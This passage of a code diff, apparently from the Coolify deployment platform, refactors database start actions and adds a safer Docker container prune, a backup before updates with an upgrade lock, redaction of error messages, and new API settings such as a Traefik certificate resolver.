b/app/Actions/Database/StartMariadb.php @@ -2,6 +2,7 @@ namespace App\Actions\Database; +use App\Actions\Shared\EnsureContentFilesOnServer; use App\Exceptions\DatabaseStartException; use App\Helpers\SslHelper; use App\Models\SslCertificate; @@ -82,6 +83,7 @@ class StartMariadb $persistent_storages = $this->generate_local_persistent_volumes(); $persistent_file_volumes = $this->database->fileStorages()->get(); + array_push($this->commands, ...EnsureContentFilesOnServer::echoCommands($persistent_file_volumes, $this->database->destination->server)); $volume_names = $this->generate_local_persistent_volumes_only_volume_names(); $environment_variables = $this->generate_environment_variables(); $this->add_custom_mysql(); @@ -251,18 +253,18 @@ class StartMariadb $environment_variables->push($env->key.'='.$this->database->resolveSecretManagerEnvironmentVariable($env)); } - if ($environment_variables->filter(fn ($env) => str($env)->contains('MARIADB_ROOT_PASSWORD'))->isEmpty()) { + if (! $this->hasEnvironmentVariable($environment_variables, 'MARIADB_ROOT_PASSWORD')) { $environment_variables->push("MARIADB_ROOT_PASSWORD={$this->database->mariadb_root_password}"); } - if ($environment_variables->filter(fn ($env) => str($env)->contains('MARIADB_DATABASE'))->isEmpty()) { + if (! $this->hasEnvironmentVariable($environment_variables, 'MARIADB_DATABASE')) { $environment_variables->push("MARIADB_DATABASE={$this->database->mariadb_database}"); } - if ($environment_variables->filter(fn ($env) => str($env)->contains('MARIADB_USER'))->isEmpty()) { + if (! $this->hasEnvironmentVariable($environment_variables, 'MARIADB_USER')) { $environment_variables->push("MARIADB_USER={$this->database->mariadb_user}"); } - if ($environment_variables->filter(fn ($env) => str($env)->contains('MARIADB_PASSWORD'))->isEmpty()) { + if (! $this->hasEnvironmentVariable($environment_variables, 'MARIADB_PASSWORD')) { $environment_variables->push("MARIADB_PASSWORD={$this->database->mariadb_password}"); } diff --git a/app/Actions/Database/StartMongodb.php b/app/Actions/Database/StartMongodb.php index 61f252da17..0afb0c4a6f 100644 --- a/app/Actions/Database/StartMongodb.php +++ b/app/Actions/Database/StartMongodb.php @@ -2,6 +2,7 @@ namespace App\Actions\Database; +use App\Actions\Shared\EnsureContentFilesOnServer; use App\Exceptions\DatabaseStartException; use App\Helpers\SslHelper; use App\Models\SslCertificate; @@ -89,6 +90,7 @@ class StartMongodb $persistent_storages = $this->generate_local_persistent_volumes(); $persistent_file_volumes = $this->database->fileStorages()->get(); + array_push($this->commands, ...EnsureContentFilesOnServer::echoCommands($persistent_file_volumes, $this->database->destination->server)); $volume_names = $this->generate_local_persistent_volumes_only_volume_names(); $environment_variables = $this->generate_environment_variables(); $this->add_custom_mongo_conf(); @@ -311,15 +313,15 @@ class StartMongodb } } - if ($environment_variables->filter(fn ($env) => str($env)->contains('MONGO_INITDB_ROOT_USERNAME'))->isEmpty()) { + if (! $this->hasEnvironmentVariable($environment_variables, 'MONGO_INITDB_ROOT_USERNAME')) { $environment_variables->push("MONGO_INITDB_ROOT_USERNAME={$this->database->mongo_initdb_root_username}"); } - if ($environment_variables->filter(fn ($env) => str($env)->contains('MONGO_INITDB_ROOT_PASSWORD'))->isEmpty()) { + if (! $this->hasEnvironmentVariable($environment_variables, 'MONGO_INITDB_ROOT_PASSWORD')) { $environment_variables->push("MONGO_INITDB_ROOT_PASSWORD={$this->database->mongo_initdb_root_password}"); } - if ($environment_variables->filter(fn ($env) => str($env)->contains('MONGO_INITDB_DATABASE'))->isEmpty()) { + if (! $this->hasEnvironmentVariable($environment_variables, 'MONGO_INITDB_DATABASE')) { $environment_variables->push("MONGO_INITDB_DATABASE={$this->database->mongo_initdb_database}"); } diff --git a/app/Actions/Database/StartMysql.php b/app/Actions/Database/StartMysql.php index a5c9f8515e..ea723aada7 100644 --- a/app/Actions/Database/StartMysql.php +++ b/app/Actions/Database/StartMysql.php @@ -2,6 +2,7 @@ namespace App\Actions\Database; +use App\Actions\Shared\EnsureContentFilesOnServer; use App\Exceptions\DatabaseStartException; use App\Helpers\SslHelper; use App\Models\SslCertificate; @@ -84,6 +85,7 @@ class StartMysql $persistent_storages = $this->generate_local_persistent_volumes(); $persistent_file_volumes = $this->database->fileStorages()->get(); + array_push($this->commands, ...EnsureContentFilesOnServer::echoCommands($persistent_file_volumes, $this->database->destination->server)); $volume_names = $this->generate_local_persistent_volumes_only_volume_names(); $environment_variables = $this->generate_environment_variables(); $this->add_custom_mysql(); @@ -263,18 +265,18 @@ class StartMysql } } - if ($environment_variables->filter(fn ($env) => str($env)->contains('MYSQL_ROOT_PASSWORD'))->isEmpty()) { + if (! $this->hasEnvironmentVariable($environment_variables, 'MYSQL_ROOT_PASSWORD')) { $environment_variables->push("MYSQL_ROOT_PASSWORD={$this->database->mysql_root_password}"); } - if ($environment_variables->filter(fn ($env) => str($env)->contains('MYSQL_DATABASE'))->isEmpty()) { + if (! $this->hasEnvironmentVariable($environment_variables, 'MYSQL_DATABASE')) { $environment_variables->push("MYSQL_DATABASE={$this->database->mysql_database}"); } - if ($environment_variables->filter(fn ($env) => str($env)->contains('MYSQL_USER'))->isEmpty()) { + if (! $this->hasEnvironmentVariable($environment_variables, 'MYSQL_USER')) { $environment_variables->push("MYSQL_USER={$this->database->mysql_user}"); } - if ($environment_variables->filter(fn ($env) => str($env)->contains('MYSQL_PASSWORD'))->isEmpty()) { + if (! $this->hasEnvironmentVariable($environment_variables, 'MYSQL_PASSWORD')) { $environment_variables->push("MYSQL_PASSWORD={$this->database->mysql_password}"); } diff --git a/app/Actions/Database/StartPostgresql.php b/app/Actions/Database/StartPostgresql.php index 0f1da0e481..c0949e51b8 100644 --- a/app/Actions/Database/StartPostgresql.php +++ b/app/Actions/Database/StartPostgresql.php @@ -2,6 +2,7 @@ namespace App\Actions\Database; +use App\Actions\Shared\EnsureContentFilesOnServer; use App\Exceptions\DatabaseStartException; use App\Helpers\SslHelper; use App\Models\SslCertificate; @@ -88,6 +89,7 @@ class StartPostgresql $persistent_storages = $this->generate_local_persistent_volumes(); $persistent_file_volumes = $this->database->fileStorages()->get(); + array_push($this->commands, ...EnsureContentFilesOnServer::echoCommands($persistent_file_volumes, $this->database->destination->server)); $volume_names = $this->generate_local_persistent_volumes_only_volume_names(); $environment_variables = $this->generate_environment_variables(); $this->generate_init_scripts(); @@ -274,18 +276,18 @@ class StartPostgresql } } - if ($environment_variables->filter(fn ($env) => str($env)->contains('POSTGRES_USER'))->isEmpty()) { + if (! $this->hasEnvironmentVariable($environment_variables, 'POSTGRES_USER')) { $environment_variables->push("POSTGRES_USER={$this->database->postgres_user}"); } - if ($environment_variables->filter(fn ($env) => str($env)->contains('PGUSER'))->isEmpty()) { + if (! $this->hasEnvironmentVariable($environment_variables, 'PGUSER')) { $environment_variables->push("PGUSER={$this->database->postgres_user}"); } - if ($environment_variables->filter(fn ($env) => str($env)->contains('POSTGRES_PASSWORD'))->isEmpty()) { + if (! $this->hasEnvironmentVariable($environment_variables, 'POSTGRES_PASSWORD')) { $environment_variables->push("POSTGRES_PASSWORD={$this->database->postgres_password}"); } - if ($environment_variables->filter(fn ($env) => str($env)->contains('POSTGRES_DB'))->isEmpty()) { + if (! $this->hasEnvironmentVariable($environment_variables, 'POSTGRES_DB')) { $environment_variables->push("POSTGRES_DB={$this->database->postgres_db}"); } diff --git a/app/Actions/Database/StartRedis.php b/app/Actions/Database/StartRedis.php index 7fc89b25ce..c12381aca8 100644 --- a/app/Actions/Database/StartRedis.php +++ b/app/Actions/Database/StartRedis.php @@ -2,6 +2,7 @@ namespace App\Actions\Database; +use App\Actions\Shared\EnsureContentFilesOnServer; use App\Exceptions\DatabaseStartException; use App\Helpers\SslHelper; use App\Models\SslCertificate; @@ -86,6 +87,7 @@ class StartRedis $persistent_storages = $this->generate_local_persistent_volumes(); $persistent_file_volumes = $this->database->fileStorages()->get(); + array_push($this->commands, ...EnsureContentFilesOnServer::echoCommands($persistent_file_volumes, $this->database->destination->server)); $volume_names = $this->generate_local_persistent_volumes_only_volume_names(); $environment_variables = $this->generate_environment_variables(); $this->add_custom_redis(); @@ -268,10 +270,6 @@ class StartRedis if ($env->key === 'REDIS_USERNAME') { $this->resolvedRedisUsername = $this->database->resolveSecretManagerEnvironmentVariableValue($env); - - if (! $usesSecretManager) { - $this->database->update(['redis_username' => $this->resolvedRedisUsername]); - } } } else { if ($env->key === 'REDIS_USERNAME' && ! $usesSecretManager) { diff --git a/app/Actions/Database/StartSqlite.php b/app/Actions/Database/StartSqlite.php index 377a680594..9289cdf5a0 100644 --- a/app/Actions/Database/StartSqlite.php +++ b/app/Actions/Database/StartSqlite.php @@ -2,6 +2,7 @@ namespace App\Actions\Database; +use App\Actions\Shared\EnsureContentFilesOnServer; use App\Models\StandaloneSqlite; use App\Traits\ExecutesDatabaseStartCommands; use Lorisleiva\Actions\Concerns\AsAction; @@ -32,6 +33,7 @@ class StartSqlite $persistent_storages = $this->generate_local_persistent_volumes(); $persistent_file_volumes = $this->database->fileStorages()->get(); + array_push($this->commands, ...EnsureContentFilesOnServer::echoCommands($persistent_file_volumes, $this->database->destination->server)); $volume_names = $this->generate_local_persistent_volumes_only_volume_names(); $environment_variables = $this->generate_environment_variables(); @@ -147,7 +149,7 @@ class StartSqlite $environment_variables->push($env->key.'='.$resolvedValue); } - if ($environment_variables->filter(fn ($env) => str($env)->contains('SQLITE_DATABASES'))->isEmpty()) { + if (! $this->hasEnvironmentVariable($environment_variables, 'SQLITE_DATABASES')) { $environment_variables->push("SQLITE_DATABASES={$this->database->sqlite_databases}"); } diff --git a/app/Actions/Development/StartDevelopmentInstanceDatabase.php b/app/Actions/Development/StartDevelopmentInstanceDatabase.php new file mode 100644 index 0000000000..41b8428bd4 --- /dev/null +++ b/app/Actions/Development/StartDevelopmentInstanceDatabase.php @@ -0,0 +1,33 @@ + config('database.connections.pgsql.username'), + 'POSTGRES_PASSWORD' => config('database.connections.pgsql.password'), + 'POSTGRES_DB' => config('database.connections.pgsql.database'), + ])->map(fn ($value, string $key): string => '-e '.escapeshellarg("{$key}={$value}"))->implode(' '); + + instant_remote_process([ + 'if ! docker inspect coolify-db >/dev/null 2>&1; then', + "docker run -d --name coolify-db --restart unless-stopped {$environment} postgres:15-alpine", + 'fi', + 'docker start coolify-db', + ], $server, disableMultiplexing: true); + } +} diff --git a/app/Actions/Development/StartDevelopmentQemuVm.php b/app/Actions/Development/StartDevelopmentQemuVm.php index 52570dc42e..5815185508 100644 --- a/app/Actions/Development/StartDevelopmentQemuVm.php +++ b/app/Actions/Development/StartDevelopmentQemuVm.php @@ -73,7 +73,24 @@ class StartDevelopmentQemuVm return; } - $this->runOrFail(($state === 'paused' ? 'virsh resume ' : 'virsh start ').escapeshellarg($domain)); + if ($state === 'paused') { + $this->runOrFail('virsh resume '.escapeshellarg($domain)); + + return; + } + + $this->applyMemory($domain); + $this->runOrFail('virsh start '.escapeshellarg($domain)); + } + + /** + * Sets the configured memory on a stopped VM, so VMs created with a larger size shrink on their next start. + */ + private function applyMemory(string $domain): void + { + $memory = (int) config('development-qemu.memory').'M'; + $this->runOrFail(sprintf('virsh setmaxmem %s %s --config', escapeshellarg($domain), $memory)); + $this->runOrFail(sprintf('virsh setmem %s %s --config', escapeshellarg($domain), $memory)); } private function destroyVm(string $domain): void diff --git a/app/Actions/Server/CleanupDocker.php b/app/Actions/Server/CleanupDocker.php index 3c0e2ba7e0..c49c057060 100644 --- a/app/Actions/Server/CleanupDocker.php +++ b/app/Actions/Server/CleanupDocker.php @@ -158,7 +158,7 @@ class CleanupDocker implements ShouldBeUnique ); $commands = [ - 'docker container prune -f --filter "label=coolify.managed=true" --filter "label!=coolify.proxy=true" --filter "label!=coolify.type=database" --filter "label!=coolify.type=application" --filter "label!=coolify.type=service"', + $this->buildContainerPruneCommand(), $imagePruneCmd, 'docker builder prune -af', // The prune fails on a stopped builder, so start it first. @@ -180,7 +180,7 @@ class CleanupDocker implements ShouldBeUnique if ($commandOutput !== null) { $cleanupLog[] = [ 'command' => $command, - 'output' => $commandOutput, + 'output' => remove_iip($commandOutput), ]; } } @@ -205,6 +205,20 @@ class CleanupDocker implements ShouldBeUnique return instant_remote_process([$command], $server, false, timeout: $remaining); } + /** + * Build a command that removes stopped Coolify containers, except the proxy and the + * containers of databases, applications and services. + * + * docker container prune only excludes a container that matches all of its label!= filters + * together, so we list the stopped containers and filter them by label in the shell. + */ + private function buildContainerPruneCommand(): string + { + return "docker ps -a --filter status=created --filter status=exited --filter status=dead --filter label=coolify.managed=true --format '{{.ID}} coolify.proxy={{.Label \"coolify.proxy\"}} coolify.type={{.Label \"coolify.type\"}}' | ". + "grep -v -E 'coolify\.proxy=true |coolify\.type=(database|application|service)$' | ". + "awk '{print $1}' | xargs -r docker rm"; + } + /** * Build a docker image prune command that excludes application image repositories. * @@ -349,7 +363,7 @@ class CleanupDocker implements ShouldBeUnique $deleteOutput = $this->runRemoteCommand($deleteCommand, $server); $cleanupLog[] = [ 'command' => $deleteCommand, - 'output' => $deleteOutput ?? 'Images removed or were in use', + 'output' => remove_iip($deleteOutput ?? 'Images removed or were in use'), ]; } diff --git a/app/Actions/Server/ConfigureTrafficAnalytics.php b/app/Actions/Server/ConfigureTrafficAnalytics.php index 287df678a1..78f85689c4 100644 --- a/app/Actions/Server/ConfigureTrafficAnalytics.php +++ b/app/Actions/Server/ConfigureTrafficAnalytics.php @@ -4,7 +4,9 @@ namespace App\Actions\Server; use App\Actions\Proxy\GetProxyConfiguration; use App\Actions\Proxy\SaveProxyConfiguration; +use App\Enums\ProxyTypes; use App\Jobs\RestartProxyJob; +use App\Models\Application; use App\Models\Server; use App\Services\ProxyPortParser; use Lorisleiva\Actions\Concerns\AsAction; @@ -41,6 +43,10 @@ class ConfigureTrafficAnalytics $server->settings->save(); $server->refresh(); + if ($server->proxyType() === ProxyTypes::CADDY->value) { + $this->regenerateReadonlyApplicationLabels($server); + } + // A proxy the user stopped stays stopped; its next start applies the saved configuration. $restartProxy = $hasProxy && ! $this->proxyIsStopped($server); if ($restartProxy) { @@ -79,6 +85,23 @@ class ConfigureTrafficAnalytics } } + /** + * Caddy logs a site only when its labels contain the log directives. Deployments use the stored labels, + * so read-only (Coolify-managed) labels must be regenerated, or a redeploy keeps the old logging state. + */ + private function regenerateReadonlyApplicationLabels(Server $server): void + { + $server->applications() + ->filter(fn (Application $application): bool => (bool) $application->settings?->is_container_label_readonly_enabled + && $application->destination?->server_id === $server->id) + ->each(function (Application $application) use ($server): void { + // The cached server of the destination can still have the old analytics setting. + $application->destination->setRelation('server', $server); + $application->custom_labels = base64_encode(implode("\n", generateLabelsApplication($application))); + $application->save(); + }); + } + private function proxyIsStopped(Server $server): bool { return (bool) $server->proxy->get('force_stop') diff --git a/app/Actions/Server/DeleteServer.php b/app/Actions/Server/DeleteServer.php index 428d696fdc..bcffee2a50 100644 --- a/app/Actions/Server/DeleteServer.php +++ b/app/Actions/Server/DeleteServer.php @@ -108,7 +108,7 @@ class DeleteServer // Notify the team about the failure $team = Team::find($teamId); - $team?->notify(new HetznerDeletionFailed($hetznerServerId, $teamId, $e->getMessage())); + $team?->notify(new HetznerDeletionFailed($hetznerServerId, $teamId, remove_iip($e->getMessage()))); } } diff --git a/app/Actions/Server/UpdateCoolify.php b/app/Actions/Server/UpdateCoolify.php index a8c9d21e8f..ddfc6578e4 100644 --- a/app/Actions/Server/UpdateCoolify.php +++ b/app/Actions/Server/UpdateCoolify.php @@ -2,7 +2,10 @@ namespace App\Actions\Server; +use App\Jobs\DatabaseBackupJob; use App\Models\Server; +use App\Models\StandalonePostgresql; +use App\Services\CoolifyUpgradeStatus; use Illuminate\Support\Facades\Http; use Illuminate\Support\Facades\Log; use Illuminate\Support\Sleep; @@ -21,6 +24,7 @@ class UpdateCoolify public function handle($manual_update = false) { if (isDev()) { + $this->backupDatabase(); Sleep::for(10)->seconds(); return; @@ -109,13 +113,32 @@ class UpdateCoolify ); } + $this->backupDatabase(); $this->update(); $settings->new_version_available = false; $settings->save(); } + private function backupDatabase(): void + { + $backup = StandalonePostgresql::find(0)?->scheduledBackups()->first(); + if (! $backup || ! instanceSettings()->is_backup_before_update_enabled) { + return; + } + + // Runs inline so the update waits for the result. dispatchSync() would go through the job's + // WithoutOverlapping middleware, which silently drops the run while the scheduled backup is running. + $job = new DatabaseBackupJob($backup); + $job->handle(); + if ($job->backup_log?->status !== 'success') { + throw new \Exception('The database backup failed, so the update was not started.'); + } + } + private function update() { + $this->ensureNoUpgradeIsRunning(); + $latestHelperImageVersion = getHelperVersion(); $upgradeScriptUrl = config('constants.coolify.upgrade_script_url'); $registryUrl = coolifyRegistryUrl(); @@ -128,4 +151,29 @@ class UpdateCoolify escapeshellarg($registryUrl), ], $this->server); } + + private function ensureNoUpgradeIsRunning(): void + { + $status = $this->readUpgradeStatus(); + + if (CoolifyUpgradeStatus::isRunning((string) $status)) { + Log::warning('Upgrade skipped because another upgrade is running', [ + 'target_version' => $this->latestVersion, + 'status' => $status, + ]); + throw new \Exception( + 'Another Coolify upgrade is already running. Wait for it to finish. '. + 'If it has stopped, you can upgrade again '.CoolifyUpgradeStatus::RUNNING_LOCK_EXPIRES_AFTER_MINUTES.' minutes after its last status update.' + ); + } + } + + protected function readUpgradeStatus(): ?string + { + return instant_remote_process( + ['cat '.CoolifyUpgradeStatus::FILE.' 2>/dev/null || true'], + $this->server, + false + ); + } } diff --git a/app/Actions/Service/UpdateServiceApplicationFromApi.php b/app/Actions/Service/UpdateServiceApplicationFromApi.php index 8065e11e05..6e1bdccd55 100644 --- a/app/Actions/Service/UpdateServiceApplicationFromApi.php +++ b/app/Actions/Service/UpdateServiceApplicationFromApi.php @@ -87,6 +87,10 @@ class UpdateServiceApplicationFromApi $serviceApplication->is_gzip_enabled = filter_var($payload['is_gzip_enabled'], FILTER_VALIDATE_BOOLEAN); } + if (array_key_exists('traefik_certificate_resolver', $payload)) { + $serviceApplication->traefik_certificate_resolver = filled($payload['traefik_certificate_resolver']) ? $payload['traefik_certificate_resolver'] : null; + } + if (array_key_exists('is_stripprefix_enabled', $payload)) { $serviceApplication->is_stripprefix_enabled = filter_var($payload['is_stripprefix_enabled'], FILTER_VALIDATE_BOOLEAN); } diff --git a/app/Actions/Shared/CheckDomainDns.php b/app/Actions/Shared/CheckDomainDns.php index d52ba50142..de56a4e33b 100644 --- a/app/Actions/Shared/CheckDomainDns.php +++ b/app/Actions/Shared/CheckDomainDns.php @@ -5,7 +5,6 @@ namespace App\Actions\Shared; use App\Models\Server; use App\Support\DnsRecordHints; use Lorisleiva\Actions\Concerns\AsAction; -use PurplePixie\PhpDns\DNSQuery; use PurplePixie\PhpDns\DNSTypes; use Spatie\Url\Url; @@ -76,14 +75,9 @@ class CheckDomainDns } try { - $query = app()->make(DNSQuery::class, [ - 'server' => $dnsServer, - 'port' => 53, - 'timeout' => min(5, (int) floor($remainingNanoseconds / 1_000_000_000)), - ]); - $records = $query->query($host, $type); + $records = queryDnsServer($dnsServer, $host, $type, min(5, (int) floor($remainingNanoseconds / 1_000_000_000))); - if ($records === false || $query->hasError()) { + if ($records === false) { continue; } diff --git a/app/Actions/Shared/DeleteScheduledVolumeBackup.php b/app/Actions/Shared/DeleteScheduledVolumeBackup.php index d56cce9384..afeb44fce6 100644 --- a/app/Actions/Shared/DeleteScheduledVolumeBackup.php +++ b/app/Actions/Shared/DeleteScheduledVolumeBackup.php @@ -4,6 +4,7 @@ namespace App\Actions\Shared; use App\Jobs\VolumeBackupJob; use App\Models\ScheduledVolumeBackup; +use App\Models\ScheduledVolumeBackupExecution; use App\Models\Server; use Illuminate\Support\Facades\Cache; use Lorisleiva\Actions\Concerns\AsAction; @@ -52,23 +53,10 @@ class DeleteScheduledVolumeBackup } if ($deleteS3Archives) { - $s3Executions = $backup->executions() - ->with('s3') - ->where('s3_uploaded', true) - ->where('s3_storage_deleted', false) - ->get(); - - foreach ($s3Executions->groupBy('s3_storage_id') as $executions) { - $s3 = $executions->first()->s3; - if (! $s3) { - throw new \RuntimeException('The S3 storage used by an existing backup is unavailable.'); - } - - $filenames = $executions->pluck('filename')->filter()->all(); - if ($filenames !== []) { - deleteBackupsS3($filenames, $s3); - } - } + $backup->executions() + ->whereHas('s3Replicas', fn ($query) => $query->where('s3_uploaded', true)->where('s3_storage_deleted', false)) + ->get() + ->each(fn (ScheduledVolumeBackupExecution $execution) => $execution->deleteS3Copies()); } $backup->delete(); diff --git a/app/Console/Commands/SeedDevelopmentQemuServerCommand.php b/app/Console/Commands/SeedDevelopmentQemuServerCommand.php index 082ad83ae2..26fc463ff7 100644 --- a/app/Console/Commands/SeedDevelopmentQemuServerCommand.php +++ b/app/Console/Commands/SeedDevelopmentQemuServerCommand.php @@ -3,7 +3,9 @@ namespace App\Console\Commands; use App\Actions\Development\SeedDevelopmentQemuServer; +use App\Actions\Development\StartDevelopmentInstanceDatabase; use Illuminate\Console\Command; +use Throwable; class SeedDevelopmentQemuServerCommand extends Command { @@ -22,6 +24,15 @@ class SeedDevelopmentQemuServerCommand extends Command $server = SeedDevelopmentQemuServer::run($this->argument('profile'), ! $this->option('keep-others'), (bool) $this->option('as-localhost'), $this->option('ip') ?: null, (int) $this->option('port')); $this->info("Seeded {$server->name} at {$server->ip}."); + if ($this->option('as-localhost')) { + try { + StartDevelopmentInstanceDatabase::run($server); + $this->info('Started the coolify-db container for instance backups.'); + } catch (Throwable $e) { + $this->warn("Could not start the coolify-db container for instance backups: {$e->getMessage()}"); + } + } + return self::SUCCESS; } } diff --git a/app/Data/RepositoryDetectionResult.php b/app/Data/RepositoryDetectionResult.php new file mode 100644 index 0000000000..b0f47a0f5c --- /dev/null +++ b/app/Data/RepositoryDetectionResult.php @@ -0,0 +1,69 @@ + $dockerfiles e.g. ['Dockerfile', 'apps/api/Dockerfile'] + * @param array $dockerComposeFiles e.g. ['docker-compose.yml'] + * @param array $envFiles e.g. ['.env.example' => 'KEY=val...', '.env.dist' => null] + * @param array $dockerfilePorts e.g. ['Dockerfile' => 3000, 'apps/api/Dockerfile' => 8080] + */ + public function __construct( + public array $dockerfiles = [], + public array $dockerComposeFiles = [], + public array $envFiles = [], + public array $dockerfilePorts = [], + ) {} + + public static function none(): self + { + return new self; + } + + /** + * Build pack for the files in the base directory. Files in subdirectories are often examples, + * tests, or other services, so they do not select a build pack. + */ + public function getSuggestedBuildPack(): ?BuildPackTypes + { + if ($this->baseDirectoryFile($this->dockerComposeFiles)) { + return BuildPackTypes::DOCKERCOMPOSE; + } + + if ($this->baseDirectoryFile($this->dockerfiles)) { + return BuildPackTypes::DOCKERFILE; + } + + return null; + } + + /** + * The first file that is directly in the base directory, not in a subdirectory. + * + * @param array $files + */ + public function baseDirectoryFile(array $files): ?string + { + return collect($files)->first(fn (string $file): bool => ! str_contains($file, '/')); + } + + public function hasDockerfile(): bool + { + return count($this->dockerfiles) > 0; + } + + public function hasDockerCompose(): bool + { + return count($this->dockerComposeFiles) > 0; + } + + public function hasEnvFiles(): bool + { + return count($this->envFiles) > 0; + } +} diff --git a/app/Http/Controllers/Api/ApplicationsController.php b/app/Http/Controllers/Api/ApplicationsController.php index 8dd63f85d7..4096ef94e5 100644 --- a/app/Http/Controllers/Api/ApplicationsController.php +++ b/app/Http/Controllers/Api/ApplicationsController.php @@ -50,11 +50,13 @@ class ApplicationsController extends Controller 'inject_build_args_to_dockerfile', 'include_source_commit_in_build', 'is_env_sorting_enabled', + 'redact_all_env_values_in_logs', 'is_pr_deployments_public_enabled', 'stop_grace_period', 'docker_images_to_keep', 'is_gzip_enabled', 'is_stripprefix_enabled', + 'traefik_certificate_resolver', 'is_raw_compose_deployment_enabled', 'is_log_drain_enabled', 'is_gpu_enabled', @@ -75,6 +77,7 @@ class ApplicationsController extends Controller 'inject_build_args_to_dockerfile', 'include_source_commit_in_build', 'is_env_sorting_enabled', + 'redact_all_env_values_in_logs', 'is_pr_deployments_public_enabled', 'is_gzip_enabled', 'is_stripprefix_enabled', @@ -211,7 +214,9 @@ class ApplicationsController extends Controller $regenerateLabels = ! $application->wasRecentlyCreated && $application->settings->is_container_label_readonly_enabled - && (array_key_exists('is_gzip_enabled', $settings) || array_key_exists('is_stripprefix_enabled', $settings)); + && (array_key_exists('is_gzip_enabled', $settings) + || array_key_exists('is_stripprefix_enabled', $settings) + || array_key_exists('traefik_certificate_resolver', $settings)); $application->settings->fill($settings)->save(); @@ -426,11 +431,13 @@ class ApplicationsController extends Controller 'inject_build_args_to_dockerfile' => ['type' => 'boolean', 'description' => 'Inject build arguments into the Dockerfile build.'], 'include_source_commit_in_build' => ['type' => 'boolean', 'description' => 'Include the source commit in the build.'], 'is_env_sorting_enabled' => ['type' => 'boolean', 'description' => 'Sort environment variables.'], + 'redact_all_env_values_in_logs' => ['type' => 'boolean', 'description' => 'Redact all environment variable values in logs. When false, only locked (shown once) values are redacted. Requires team admin permissions.'], 'is_pr_deployments_public_enabled' => ['type' => 'boolean', 'description' => 'Make pull request deployments public.'], 'stop_grace_period' => ['type' => 'integer', 'nullable' => true, 'minimum' => 1, 'maximum' => 3600, 'description' => 'Container stop grace period in seconds.'], 'docker_images_to_keep' => ['type' => 'integer', 'minimum' => 0, 'maximum' => 100, 'description' => 'Number of Docker images to retain.'], 'is_gzip_enabled' => ['type' => 'boolean', 'description' => 'Enable gzip compression.'], 'is_stripprefix_enabled' => ['type' => 'boolean', 'description' => 'Enable path prefix stripping.'], + 'traefik_certificate_resolver' => ['type' => 'string', 'nullable' => true, 'description' => 'Traefik certificate resolver for this application. Null uses the server setting, "none" uses no resolver.'], 'is_raw_compose_deployment_enabled' => ['type' => 'boolean', 'description' => 'Deploy the raw Docker Compose definition.'], 'is_log_drain_enabled' => ['type' => 'boolean', 'description' => 'Enable log drain for the application.'], 'is_gpu_enabled' => ['type' => 'boolean', 'description' => 'Enable GPU support.'], @@ -625,11 +632,13 @@ class ApplicationsController extends Controller 'inject_build_args_to_dockerfile' => ['type' => 'boolean', 'description' => 'Inject build arguments into the Dockerfile build.'], 'include_source_commit_in_build' => ['type' => 'boolean', 'description' => 'Include the source commit in the build.'], 'is_env_sorting_enabled' => ['type' => 'boolean', 'description' => 'Sort environment variables.'], + 'redact_all_env_values_in_logs' => ['type' => 'boolean', 'description' => 'Redact all environment variable values in logs. When false, only locked (shown once) values are redacted. Requires team admin permissions.'], 'is_pr_deployments_public_enabled' => ['type' => 'boolean', 'description' => 'Make pull request deployments public.'], 'stop_grace_period' => ['type' => 'integer', 'nullable' => true, 'minimum' => 1, 'maximum' => 3600, 'description' => 'Container stop grace period in seconds.'], 'docker_images_to_keep' => ['type' => 'integer', 'minimum' => 0, 'maximum' => 100, 'description' => 'Number of Docker images to retain.'], 'is_gzip_enabled' => ['type' => 'boolean', 'description' => 'Enable gzip compression.'], 'is_stripprefix_enabled' => ['type' => 'boolean', 'description' => 'Enable path prefix stripping.'], + 'traefik_certificate_resolver' => ['type' => 'string', 'nullable' => true, 'description' => 'Traefik certificate resolver for this application. Null uses the server setting, "none" uses no resolver.'], 'is_raw_compose_deployment_enabled' => ['type' => 'boolean', 'description' => 'Deploy the raw Docker Compose definition.'], 'is_log_drain_enabled' => ['type' => 'boolean', 'description' => 'Enable log drain for the application.'], 'is_gpu_enabled' => ['type' => 'boolean', 'description' => 'Enable GPU support.'], @@ -824,11 +833,13 @@ class ApplicationsController extends Controller 'inject_build_args_to_dockerfile' => ['type' => 'boolean', 'description' => 'Inject build arguments into the Dockerfile build.'], 'include_source_commit_in_build' => ['type' => 'boolean', 'description' => 'Include the source commit in the build.'], 'is_env_sorting_enabled' => ['type' => 'boolean', 'description' => 'Sort environment variables.'], + 'redact_all_env_values_in_logs' => ['type' => 'boolean', 'description' => 'Redact all environment variable values in logs. When false, only locked (shown once) values are redacted. Requires team admin permissions.'], 'is_pr_deployments_public_enabled' => ['type' => 'boolean', 'description' => 'Make pull request deployments public.'], 'stop_grace_period' => ['type' => 'integer', 'nullable' => true, 'minimum' => 1, 'maximum' => 3600, 'description' => 'Container stop grace period in seconds.'], 'docker_images_to_keep' => ['type' => 'integer', 'minimum' => 0, 'maximum' => 100, 'description' => 'Number of Docker images to retain.'], 'is_gzip_enabled' => ['type' => 'boolean', 'description' => 'Enable gzip compression.'], 'is_stripprefix_enabled' => ['type' => 'boolean', 'description' => 'Enable path prefix stripping.'], + 'traefik_certificate_resolver' => ['type' => 'string', 'nullable' => true, 'description' => 'Traefik certificate resolver for this application. Null uses the server setting, "none" uses no resolver.'], 'is_raw_compose_deployment_enabled' => ['type' => 'boolean', 'description' => 'Deploy the raw Docker Compose definition.'], 'is_log_drain_enabled' => ['type' => 'boolean', 'description' => 'Enable log drain for the application.'], 'is_gpu_enabled' => ['type' => 'boolean', 'description' => 'Enable GPU support.'], @@ -994,11 +1005,13 @@ class ApplicationsController extends Controller 'inject_build_args_to_dockerfile' => ['type' => 'boolean', 'description' => 'Inject build arguments into the Dockerfile build.'], 'include_source_commit_in_build' => ['type' => 'boolean', 'description' => 'Include the source commit in the build.'], 'is_env_sorting_enabled' => ['type' => 'boolean', 'description' => 'Sort environment variables.'], + 'redact_all_env_values_in_logs' => ['type' => 'boolean', 'description' => 'Redact all environment variable values in logs. When false, only locked (shown once) values are redacted. Requires team admin permissions.'], 'is_pr_deployments_public_enabled' => ['type' => 'boolean', 'description' => 'Make pull request deployments public.'], 'stop_grace_period' => ['type' => 'integer', 'nullable' => true, 'minimum' => 1, 'maximum' => 3600, 'description' => 'Container stop grace period in seconds.'], 'docker_images_to_keep' => ['type' => 'integer', 'minimum' => 0, 'maximum' => 100, 'description' => 'Number of Docker images to retain.'], 'is_gzip_enabled' => ['type' => 'boolean', 'description' => 'Enable gzip compression.'], 'is_stripprefix_enabled' => ['type' => 'boolean', 'description' => 'Enable path prefix stripping.'], + 'traefik_certificate_resolver' => ['type' => 'string', 